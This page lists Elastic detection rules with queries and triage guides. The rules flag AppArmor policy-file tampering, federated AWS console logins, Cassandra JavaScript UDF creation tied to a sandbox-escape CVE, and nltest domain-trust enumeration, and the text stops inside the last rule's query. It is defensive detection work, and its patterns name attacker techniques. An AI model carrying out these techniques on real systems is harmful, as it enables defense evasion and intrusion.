Detection rules › Elastic

Elastic rules: 0c

AppArmor Policy Interface Access

#
Status
production
Severity
low
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under /sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems where AppArmor policy changes are uncommon or tightly controlled.

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Rule Body

[metadata]
creation_date = "2026/03/20"
integration = ["auditd_manager"]
maturity = "production"
updated_date = "2026/03/20"

[rule]
author = ["Elastic"]
description = """
Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under
/sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are
rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces
may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy
tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems
where AppArmor policy changes are uncommon or tightly controlled.
"""
from = "now-9m"
index = [
    "logs-auditd_manager.auditd-*",
    "auditbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "AppArmor Policy Interface Access"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating AppArmor Policy Interface Access

This rule detects reads, writes, or deletions against the Linux AppArmor policy control files that load, replace, or remove profiles, actions that directly change how the kernel restricts processes. That matters because unauthorized access to these interfaces can disable enforcement or install permissive rules that hide malicious activity; for example, an intruder with elevated privileges might replace a profile protecting a web server so a dropped backdoor can run and touch sensitive files without confinement.

### Possible investigation steps

- Determine whether the access coincides with an approved AppArmor administration task by validating the initiating account, privilege escalation history, maintenance windows, and any related change or deployment records for the host.
- Review the full execution lineage around the event to confirm whether the interface was touched by expected policy management activity such as package updates or configuration automation versus an interactive shell, ad hoc script, or remote session.
- Inspect recent changes to AppArmor profile files and deployment artifacts under standard policy locations to identify which profile was loaded, replaced, or removed and whether the resulting policy became weaker or disabled confinement for sensitive services.
- Correlate the activity with nearby authentication, sudo, process execution, and network events on the same system to assess whether the policy modification was part of normal administration or followed potentially malicious hands-on-keyboard behavior.
- If the change is not authorized, preserve the modified policy artifacts and relevant host evidence, then restore known-good AppArmor profiles from a trusted source and verify enforcement is active to prevent further defense evasion.

### False positive analysis

- Approved system maintenance such as package updates, service installation, or boot-time policy initialization can legitimately access AppArmor `.load` or `.replace`, so verify the parent process and command line map to expected package management or startup activity during a documented change window.
- An administrator may manually reload, replace, or remove an AppArmor profile while troubleshooting or deploying a local service, so confirm the initiating user, any `sudo` or privileged session history, and recent edits to AppArmor profile files align with an authorized operational task.

### Response and remediation

- Isolate the affected Linux host from the network while preserving forensic access, terminate the process or shell session that wrote to `/sys/kernel/security/apparmor/.load`, `.replace`, or `.remove`, and disable the originating account’s privileged access until the scope is understood.
- Collect and review the active AppArmor state and on-disk profiles from `/etc/apparmor.d/`, recent shell history, sudo activity, and any scripts or package hooks involved, then remove attacker-added profiles and reverse any profile changes that weakened or removed confinement.
- Hunt for and delete persistence that relied on the AppArmor change, including malicious systemd units, cron entries, startup scripts, modified container launch settings, or dropped binaries that were able to run only after the profile was replaced or removed.
- Restore the system to a known-good state by reinstalling trusted AppArmor policy packages or redeploying validated profiles from source control, reloading them with approved tools, and rebuilding the host from a clean image if root access or core security files were modified.
- Escalate to incident response immediately if the tampered profile protected an internet-facing service, credential store, or security tool, if the same behavior is seen on multiple hosts, or if the attacker also changed sudoers, SSH access, or other local security controls.
- Harden the environment by restricting who can administer AppArmor, requiring signed or change-controlled profile updates, alerting on future writes to the AppArmor policy interfaces, and validating that critical services remain in enforce mode after patching or deployment."""
references = [
    "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt",
    "https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root",
]
risk_score = 21
rule_id = "d32f0c27-8edb-4bcf-975e-01696c961e08"
setup = """## Setup

This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system.
```
Kibana -->
Management -->
Integrations -->
Auditd Manager -->
Add Auditd Manager
```
`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from.
For this detection rule to trigger, the following additional audit rules are required to be added to the integration:
```
-w /sys/kernel/security/apparmor/.load -p rw -k apparmor_policy_change
-w /sys/kernel/security/apparmor/.replace -p rw -k apparmor_policy_change
-w /sys/kernel/security/apparmor/.remove -p rw -k apparmor_policy_change
```
Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable.
"""
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Data Source: Auditd Manager",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
file where host.os.type == "linux" and event.action in ("opened-file", "wrote-to-file", "deleted") and
file.path in (
  "/sys/kernel/security/apparmor/.load", ".load",
  "/sys/kernel/security/apparmor/.replace", ".replace",
  "/sys/kernel/security/apparmor/.remove", ".remove"
)
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"

[[rule.threat.technique.subtechnique]]
id = "T1562.001"
name = "Disable or Modify Tools"
reference = "https://attack.mitre.org/techniques/T1562/001/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Stage 1: file

file where host.os.type == "linux" and event.action in ("opened-file", "wrote-to-file", "deleted") and
file.path in (
  "/sys/kernel/security/apparmor/.load", ".load",
  "/sys/kernel/security/apparmor/.replace", ".replace",
  "/sys/kernel/security/apparmor/.remove", ".remove"
)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actionin
  • deleted
  • opened-file
  • wrote-to-file
field:"EventType" kind:in
file.pathin
  • .load
  • .remove
  • .replace
  • /sys/kernel/security/apparmor/.load
  • /sys/kernel/security/apparmor/.remove
  • /sys/kernel/security/apparmor/.replace
field:"TargetFilename" kind:in

AWS Sign-In Console Login with Federated User

#
Status
production
Severity
medium
Time window
6m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity.

MITRE ATT&CK Coverage

TacticTechniques
Initial Access

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

[metadata]
creation_date = "2024/08/19"
integration = ["aws"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary
credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may
indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail
does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a
third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear
as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP
authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related
"GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible
token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can
be triaged with lower severity.
"""
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS Sign-In Console Login with Federated User"
note = """## Triage and analysis

### Investigating AWS Sign-In Console Login with Federated User

Federated users in AWS are granted temporary credentials to access resources, often without the need for a permanent account. This setup is convenient but can be risky if not properly secured with multi-factor authentication (MFA). Adversaries might exploit this by using stolen or misconfigured credentials to gain unauthorized access. CloudTrail alone cannot reliably indicate MFA usage for federated logins. This rule surfaces potentially risky access for analyst review and IdP correlation.

### Possible investigation steps

- **Identify the prinicipal involved**
  - `aws.cloudtrail.user_identity.arn` (federated session ARN)
  - `aws.cloudtrail.user_identity.session_context.session_issuer.*` (role ARN/name, account) of the identity that created the federated session.
  - Find the corresponding IdP login around the same time and verify MFA was required and passed. If IdP shows **no MFA**, raise severity.

- **Investigate the source context**
  - examine `source.ip`, ASN, `geo` fields, and `user_agent.original`
  - Compare against normal IP ranges, known user-agents and expected locations for this identity

- **Federation token pivot:** Look for a nearby `signin.amazonaws.com` `GetSigninToken` API call.
  - **More suspicious:** token creation and console login from different public IPs/ASNs/geo fields.
  - **Less suspicious:** same IP and expected user agents within ~10–15 minutes (typical operator behavior).

- **Rareness/anomaly signals:** new/rare role or session issuer, rare source IP/ASN/geo, unusual time-of-day, multiple ConsoleLogin events from disparate networks in a short window.

- Review recent activity associated with the federated user to identify any unusual or unauthorized actions that may have occurred following the login event.

- Assess the configuration and policies of the Identity Provider (IdP) used for federated access to ensure MFA is enforced and properly configured for all users.


### False positive analysis
- Organizations using SSO for console access will routinely see federated `ConsoleLogin` where CloudTrail shows `MFAUsed: "No"` — this is expected due to IdP-side MFA.
- Internal tools/automation that create federation links (`GetSigninToken`) for operators.
- Maintain allow-lists for corp/VPN CIDRs, approved ASNs, and known automation user-agents.

### Response and remediation
- If IdP confirms MFA and the source context is expected: document and close.
- If IdP shows no MFA or context is suspicious:
  - Notify the security team and relevant stakeholders about the potential security breach to ensure coordinated response efforts.
  - Disable/lock the IdP account pending review; invalidate IdP sessions if supported.
  - Temporarily restrict access (e.g., SCPs, session policies, IP-based conditions).
  - Conduct a thorough review of AWS CloudTrail logs to identify any suspicious activities or unauthorized access attempts associated with both the intitiating user and the federated user account.
  - Hunt for a preceding `GetSigninToken` from a different IP/ASN/UA (possible token relay).
  - Ensure IdP policy enforces MFA for AWS app access; re-verify role trust and least-privilege policies.
- Implement or enforce multi-factor authentication (MFA) for all federated user accounts to enhance security and prevent similar incidents in the future.
- Review and update IAM policies and roles associated with federated users to ensure they follow the principle of least privilege.
"""
references = ["https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/"]
risk_score = 47
rule_id = "1f45720e-5ea8-11ef-90d2-f661ea17fbce"
severity = "medium"
tags = [
    "Domain: Cloud",
    "Data Source: Amazon Web Services",
    "Data Source: AWS",
    "Data Source: AWS Sign-In",
    "Use Case: Identity and Access Audit",
    "Tactic: Initial Access",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset: "aws.cloudtrail" and 
    event.provider: "signin.amazonaws.com" and 
    event.action : "ConsoleLogin" and 
    aws.cloudtrail.user_identity.type: "FederatedUser" and
    event.outcome: "success"
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"



[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.session_context.session_issuer.arn",
    "aws.cloudtrail.user_identity.session_context.session_issuer.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
]

Stages and Predicates

Stage 1: query

data_stream.dataset: "aws.cloudtrail" and 
    event.provider: "signin.amazonaws.com" and 
    event.action : "ConsoleLogin" and 
    aws.cloudtrail.user_identity.type: "FederatedUser" and
    event.outcome: "success"

Indicators

These rows show field, operator, and value matches.

Cassandra JavaScript UDF Creation

#
Status
production
Severity
high
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies Cassandra Query Language statements that create a JavaScript user-defined function. On vulnerable and dangerously configured Cassandra servers, adversaries can abuse scripted UDF creation to escape the JavaScript sandbox and execute operating-system commands, including through CVE-2021-44521.

Known False Positives

  • Developers or database administrators may deploy approved JavaScript UDFs in environments where scripted functions are intentionally enabled. Validate the function body, client address, Cassandra version, configuration, and change window before escalating.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2026/07/30"
integration = ["network_traffic"]
maturity = "production"
updated_date = "2026/07/30"

[rule]
author = ["Elastic"]
description = """
Identifies Cassandra Query Language statements that create a JavaScript user-defined function. On vulnerable and
dangerously configured Cassandra servers, adversaries can abuse scripted UDF creation to escape the JavaScript sandbox
and execute operating-system commands, including through CVE-2021-44521.
"""
false_positives = [
    """
    Developers or database administrators may deploy approved JavaScript UDFs in environments where scripted functions
    are intentionally enabled. Validate the function body, client address, Cassandra version, configuration, and change
    window before escalating.
    """,
]
from = "now-9m"
index = ["logs-network_traffic.cassandra-*"]
language = "eql"
license = "Elastic License v2"
name = "Cassandra JavaScript UDF Creation"
note = """## Triage and analysis

### Investigating Cassandra JavaScript UDF Creation

CVE-2021-44521 allows a JavaScript UDF to escape the Nashorn sandbox when Cassandra is vulnerable and scripted UDFs are enabled with unsafe thread settings. Even on patched systems, JavaScript UDF creation is a sensitive control-plane operation that should be rare and restricted to approved administrators.

### Possible investigation steps

- Review `client.ip`, `server.ip`, `network.community_id`, and `network_traffic.cassandra.request.query`.
- Extract the function name, keyspace, declared language, and function body.
- Look for Java interoperability, reflection, process execution, class loading, file access, or network-access strings in the UDF body.
- Confirm the Cassandra version and the values of `enable_user_defined_functions`, `enable_scripted_user_defined_functions`, and `enable_user_defined_functions_threads`.
- Correlate with Cassandra audit logs and endpoint telemetry for child processes, file creation, or outbound connections from the Cassandra service.

### False positive analysis

- Approved application deployments may create JavaScript UDFs, though this should be uncommon.
- Scope exceptions to known deployment clients and reviewed function definitions rather than excluding UDF creation globally.

### Response and remediation

- Terminate unauthorized sessions and isolate the Cassandra node if code execution is suspected.
- Disable scripted UDFs where they are not required and upgrade Cassandra to a version that fixes CVE-2021-44521.
- Remove unauthorized functions, rotate affected credentials, and review role permissions and cluster-wide activity.
"""
references = [
    "https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/",
    "https://nvd.nist.gov/vuln/detail/CVE-2021-44521",
    "https://attack.mitre.org/techniques/T1059/007/",
]
risk_score = 73
rule_id = "b3e2c2ad-9a81-4638-bf12-7ca2feed66a2"
setup = """## Setup

This rule requires the Elastic Network Packet Capture integration with the Cassandra protocol analyzer enabled and
cleartext visibility into native CQL traffic. Prepared statements expose query text during `PREPARE`, while later
`EXECUTE` frames may not repeat it. TLS-encrypted traffic is opaque. Use Cassandra audit logs and endpoint telemetry to
confirm the database identity and execution outcome.
"""
severity = "high"
tags = [
    "Domain: Network",
    "Use Case: Network Security Monitoring",
    "Use Case: Threat Detection",
    "Use Case: Vulnerability",
    "Tactic: Execution",
    "Data Source: Network Packet Capture",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
any where data_stream.dataset == "network_traffic.cassandra" and
    network_traffic.cassandra.request.query like~ "*create*function*" and
    network_traffic.cassandra.request.query like~ "*language*javascript*"
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.007"
name = "JavaScript"
reference = "https://attack.mitre.org/techniques/T1059/007/"



[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

Stages and Predicates

Stage 1: any

any where data_stream.dataset == "network_traffic.cassandra" and
    network_traffic.cassandra.request.query like~ "*create*function*" and
    network_traffic.cassandra.request.query like~ "*language*javascript*"

Indicators

These rows show field, operator, and value matches.

Decline in host-based traffic

#
Status
production
Severity
low
Author
Elastic
Source
github.com/elastic/detection-rules

A machine learning job has detected a sudden drop in host based traffic. This can be due to a range of security issues, such as a compromised system, a failed service, or a network misconfiguration.

Known False Positives

  • Legitimate causes such as system maintenance, server shutdowns, or temporary network outages may trigger this alert.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2025/02/18"
integration = ["auditd_manager", "endpoint", "system", "windows"]
maturity = "production"
min_stack_version = "9.4.0"
min_stack_comments = "Use EA (Entity Analytics) fields"
updated_date = "2026/07/27"

[rule]
anomaly_threshold = 75
author = ["Elastic"]
description = """
A machine learning job has detected a sudden drop in host based traffic. This can be due to a range of security issues, such as a compromised system,
a failed service, or a network misconfiguration.
"""
false_positives = [
    """
    Legitimate causes such as system maintenance, server shutdowns, or temporary network outages may trigger this alert.
    """,
]
from = "now-45m"
interval = "5m"
license = "Elastic License v2"
machine_learning_job_id = "low_count_events_for_a_host_name_ea"
name = "Decline in host-based traffic"
setup = """## Setup

This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations:
- Elastic Defend
- Auditd Manager
- System
- Windows

### Anomaly Detection Setup

Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the [helper guide](https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html).

### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.

#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).

#### The following steps should be executed in order to add the Elastic Defend integration to your system:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/current/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).

### Auditd Manager Integration Setup
The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel.
Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system.

#### The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “Auditd Manager” and select the integration to see more details about it.
- Click “Add Auditd Manager”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/auditd_manager).

#### Rule Specific Setup Note
Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration.
However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from.
- For this detection rule no additional audit rules are required.

### System Integration Setup
The System integration allows you to collect system logs and metrics from your servers with Elastic Agent.

#### The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “System” and select the integration to see more details about it.
- Click “Add System”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/system).

### Windows Integration Setup
The Windows integration allows you to monitor the Windows OS, services, applications, and more.

#### The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “Windows” and select the integration to see more details about it.
- Click “Add Windows”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/windows).
"""
references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"]
risk_score = 21
rule_id = "ad66db2e-1cc7-4a2c-8fa5-5f3895e44a18"
severity = "low"
tags = [
    "Data Source: Elastic Defend",
    "Data Source: Auditd Manager",
    "Data Source: Windows Security Event Logs",
    "Use Case: Threat Detection",
    "Rule Type: ML",
    "Rule Type: Machine Learning",
    "Resources: Investigation Guide",
]
type = "machine_learning"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Decline in host-based traffic

Host-based traffic monitoring is crucial for identifying anomalies in network activity. A sudden drop in traffic can indicate issues like system compromise, service failure, or misconfiguration. Adversaries might exploit these situations to evade detection or disrupt services. The 'Decline in host-based traffic' rule leverages machine learning to identify unexpected traffic reductions, signaling potential security threats for further investigation.

### Possible investigation steps

- Review the affected host's recent activity logs to identify any unusual patterns or events that coincide with the drop in traffic.
- Check for any recent changes in network configuration or firewall settings that might have inadvertently caused the traffic decline.
- Investigate the status of critical services on the host to determine if any have failed or been stopped unexpectedly.
- Analyze network traffic data to identify any potential signs of compromise, such as connections to known malicious IP addresses or unusual outbound traffic.
- Consult with system administrators to verify if any maintenance or updates were performed around the time of the traffic drop that could explain the anomaly.

### False positive analysis

- Scheduled maintenance or updates can cause temporary drops in host-based traffic. Users should create exceptions for known maintenance windows to prevent false alerts.
- Network configuration changes, such as firewall rule updates or routing adjustments, might lead to expected traffic reductions. Document and exclude these changes from triggering alerts.
- Temporary service outages due to non-security related issues, like hardware failures or software bugs, can be mistaken for threats. Implement monitoring to distinguish between these and actual security incidents.
- Low-usage periods, such as weekends or holidays, may naturally result in reduced traffic. Adjust the machine learning model to account for these patterns by incorporating historical data.
- Legitimate changes in user behavior, such as remote work policies or shifts in business operations, can affect traffic levels. Regularly update the model to reflect these changes and avoid false positives.

### Response and remediation

- Isolate the affected host from the network to prevent potential lateral movement or further compromise.
- Verify the integrity and functionality of critical services on the affected host to identify any failures or misconfigurations.
- Conduct a thorough malware scan on the isolated host to detect and remove any malicious software.
- Review recent configuration changes on the host and revert any unauthorized or suspicious modifications.
- Restore any affected services from known good backups if service failure is confirmed as the cause.
- Monitor network traffic for any signs of unusual activity or attempts to exploit the situation further.
- Escalate the incident to the security operations team for a deeper forensic analysis and to determine if additional hosts are affected."""

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1489"
name = "Service Stop"
reference = "https://attack.mitre.org/techniques/T1489/"

[[rule.threat.technique]]
id = "T1499"
name = "Endpoint Denial of Service"
reference = "https://attack.mitre.org/techniques/T1499/"

[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

Enumerating Domain Trusts via NLTEST.EXE

#
Status
production
Severity
low
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC) replication in a Microsoft Windows NT Domain.

Known False Positives

  • Domain administrators may use this command-line utility for legitimate information gathering purposes, but it is not common for environments with Windows Server 2012 and newer.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

[metadata]
creation_date = "2022/05/31"
integration = ["endpoint", "windows", "system", "m365_defender", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to
enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC)
replication in a Microsoft Windows NT Domain.
"""
false_positives = [
    """
    Domain administrators may use this command-line utility for legitimate information gathering purposes, but it is not
    common for environments with Windows Server 2012 and newer.
    """,
]
from = "now-9m"
index = [
    "endgame-*",
    "logs-crowdstrike.fdr*",
    "logs-endpoint.events.process-*",
    "logs-m365_defender.event-*",
    "logs-system.security*",
    "logs-windows.forwarded*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Enumerating Domain Trusts via NLTEST.EXE"
note = """## Triage and analysis

### Investigating Enumerating Domain Trusts via NLTEST.EXE

Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains.

This rule identifies the usage of the `nltest.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement.

#### Possible investigation steps

- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
- Identify the user account that performed the action and whether it should perform this kind of action.
- Investigate other alerts associated with the user/host during the past 48 hours.

### False positive analysis

- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed.

### Related rules

- Enumerating Domain Trusts via DSQUERY.EXE - 06a7a03c-c735-47a6-a313-51c354aef6c3

### Response and remediation

- Initiate the incident response process based on the outcome of the triage.
- Isolate the involved hosts to prevent further post-compromise behavior.
- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""

references = [
    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)",
    "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/",
]
risk_score = 21
rule_id = "84da2554-e12a-11ec-b896-f661ea17fbcd"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Discovery",
    "Data Source: Elastic Endgame",
    "Resources: Investigation Guide",
    "Data Source: Elastic Defend",
    "Data Source: Windows Security Event Logs",
    "Data Source: Microsoft Defender XDR",
    "Data Source: Crowdstrike",
    "Data Source: Sysmon",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
    process.name : "nltest.exe" and process.args : (
        "/DCLIST:*", "/DCNAME:*", "/DSGET*",
        "/LSAQUERYFTI:*", "/PARENTDOMAIN",
        "/DOMAIN_TRUSTS", "/BDC_QUERY:*"
        ) and 
not process.parent.name : "PDQInventoryScanner.exe" and
not (
  user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and
